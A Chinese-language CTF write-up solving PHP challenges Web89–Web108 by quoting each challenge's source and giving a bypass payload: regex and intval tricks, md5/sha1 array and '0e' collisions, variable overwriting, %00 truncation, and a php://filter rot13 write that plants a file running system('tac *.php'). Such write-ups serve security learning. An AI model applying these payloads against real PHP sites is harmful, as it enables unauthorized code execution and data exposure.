Web89
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } } //這里主要是對數字進行了過濾,並且又要GET請求傳入的num變量為數字或數字串,關於preg_match()函數一個漏洞——>無法處理數組 Paylaod:?num[]=10
Web90
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); } } //強比較+intval函數 Payload:?num=4476a(任意字母)
Web91
show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; } //這里有有兩個條件,第一個需要是php,第二個又不可以php,不過有個差距就是m模式,/m代表匹配多行數據,這里可以通過%0a進行繞過 Payload:?cmd=%0aphp
Web92

1 Payload:?num=0x117c 十六進制
2. 也可以:?num=0
10574 八進制
//這里不能是4476,但是又要是4476,intval可以識別十六進制和八進制
如果 base 是 0,通過檢測 var 的格式來決定使用的進制:
- 如果字符串包括了 "0x" (或 "0X") 的前綴,使用 16 進制 (hex);否則,
- 如果字符串以 "0" 開始,使用 8 進制(octal);否則,
- 將使用 10 進制 (decimal)
-
返回值
成功時返回 var 的 integer 值,失敗時返回 0。 空的 array 返回 0,非空的 array 返回 1。
最大的值取決於操作系統。 32 位系統最大帶符號的 integer 范圍是 -2147483648 到 2147483647。舉例,在這樣的系統上, intval('1000000000000') 會返回 2147483647。64 位系統上,最大帶符號的 integer 值是 9223372036854775807。
字符串有可能返回 0,雖然取決於字符串最左側的字符。
Web93
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } } //ban掉了字母,但是可以用八進制繞過 Payload:?num=010574
Web94
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; } } //不能以0開頭了,這時候可以試試小數,intval只識別整數部分 Payload:?num=4476.0001
Web95
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|\./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; } } //弱比較不可以是4476,然后是傳入參數不可以存在大小寫的26個字母和“.”,接着是不可以以0開頭,最后結束匹配時需要4476,一開始的若比較,這里可以用010574(4476的八進制)繞過,直接到了strpos函數這里,這里不能以0開頭,去看了看intval函數的發現最開頭可以如果是+還是可以識別為原數 Payload:?num=+010574
Web96
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
<?ph
//1 ?u=./flag.php
Web97
include("flag.php"); highlight_file(__FILE__); if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b'])) echo $flag; else print 'Wrong.'; } ?>
//簡單的md5碰撞
Payload:
POST:a[]=1&b[]=2
Web98
include("flag.php"); $_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); //考點:變量覆蓋、三元運算符、&在php中的引用作用 //一開始不知道是什么意思,問了一下大師傅,他跟我說了一下三元運算符以及&的作用 //解釋一下 //第一句的意思是如果存在GET請求則引用POST請求的內容 //接下來兩句好像沒啥用,不過為了保險,還是直接還是把flag=xx //最關鍵的就是HTTP_FALG=flag,這樣才就能回顯flag了 //嘗試了一下發現第一句存在變量覆蓋的效果,所以GET請求不管給什么東西都會被POST請求覆蓋掉 Payload:GET:?xxx POST:flag=xx&HTTP_FLAG=flag
web99
highlight_file(__FILE__); $allow = array(); for ($i=0; $i < 0x36d; $i++) { array_push($allow, rand(0,$i)); } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); } ?> //array_push()函數向allow數組的尾部添加一個元素,該元素由rand()函數返回一個隨機數 //傳入的參數中要有allow數組中的數字,然后是一個文件包含 //文件包含可以用php://filter偽協議,可以使用base64或者rot13,這樣包含了數字 Payload:?n=php://filter/write=string%.rot13/resource=sh.php POST:content=<?cuc flfgrz("gnp *.cuc");?>
Web104
<?php /* # -*- coding: utf-8 -*- # @Author: atao # @Dat: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-28 22:27:20 */ highlight_file(__FILE__); include("flag.php"); if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2)){ echo $flag; } } ?> //由題可知,只需要v1的sha1的值等於v2的sha1值,即可獲得flag //百度查一下sha1碰撞 //這里是弱比較,所以作用就是sha1后為'0e'開頭 Payload: GET:?v2=aaroZmOk POST:v1=aaK1STfY
Web105
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-28 22:34:07 */ highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你還想要flag嘛?'; $suces='既然你想要那給你吧!'; foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value; }foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value; } if(!($_POST['flag']==$flag)){ die($error); } echo "your are good".$flag."\n"; die($suces); ?> //一道變量覆蓋的題目,由$$key=$$value確定,意思就是$key的內容作為變量,例如:$key=xx,$$key=$xx //GET請求的時候不能出現error,但是這里給了另外一個變量$suces,我們可以將$flag值賦給$suces //POST請求的時候不能出現flag,但是我們第一步已經把值賦給$suces了,所以這里不用出現$flag,只需要$suces把值賦給$error //最后再判斷flag是否等於$flag,讓flag!=$flag,輸出$error即可 Payload: GET:?suces=flag POST:error=suces
Web106
highlight_file(__FILE__); include("flag.php"); if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2) && $v1!=$v2){ echo $flag; } } ?> //需要sha1碰撞
Payload: GET:?v2=aaroZmOk POST:v1=aaK1STfY
Web107
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-28 23:24:14 */ highlight_file(__FILE__); error_reporting(0); include("flag.php"); if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; } } ?> //這里有個parse_str()的函數,百度了一下語法 //parse_str(string,array) 函數在string中查詢字符串解析到array數組變量中 //后面的那個md5就簡單了 Payload: GET:?v3=37(任意數) POST:v1=flag=a5bfc9e07964f8dddeb95fc584cd965d(md5轉32)
Web108
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-28 23:53:55 */ highlight_file(__FILE__); error_reporting(0); include("flag.php"); if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error'); } //只有36d的人才能看到flag if(intval(strrev($_GET['c']))==0x36d){ echo $flag; } ?> //ereg函數存在一個明顯的漏洞:%00截斷 //strrev反轉字符串 Payload:?c=xx%00778
參考:
https://www.php.net/manual/zh/book.spl.php
https://www.cnblogs.com/erR0Ratao/p/13693066.html